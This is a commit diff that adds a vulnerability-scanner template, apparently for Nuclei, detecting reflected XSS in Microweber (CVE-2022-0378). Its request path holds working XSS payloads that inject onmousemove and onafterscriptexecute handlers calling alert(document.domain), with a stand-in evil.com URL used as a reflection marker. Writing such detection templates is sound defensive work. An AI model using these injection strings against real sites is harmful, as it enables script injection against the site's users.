Create CVE-2022-0378.yaml
parent
a12753c7fe
commit
4f8a0ac62c
|
@ -0,0 +1,29 @@
|
|||
id: CVE-2022-0378
|
||||
|
||||
info:
|
||||
name: Microweber XSS
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
description: Cross-site Scripting (XSS) - Reflected in Packagist microweber/microweber prior to 1.2.11.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0378
|
||||
tags: cve,cve2022,microweber,xss
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=zaasdasdasd"+onmousemove%3dalert(document.domain)+cc="asd&data-show-ui=admin&class=a%27+onafterscriptexecute%3dalert(document.domain)+c%20%3d%27aa&from_url=https://evil.com'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- 'from_url="https://evil.com"'
|
||||
- 'onafterscriptexecute=alert(document.domain)'
|
||||
- 'onmousemove="alert(document.domain)'
|
||||
condition: and
|
Loading…
Reference in New Issue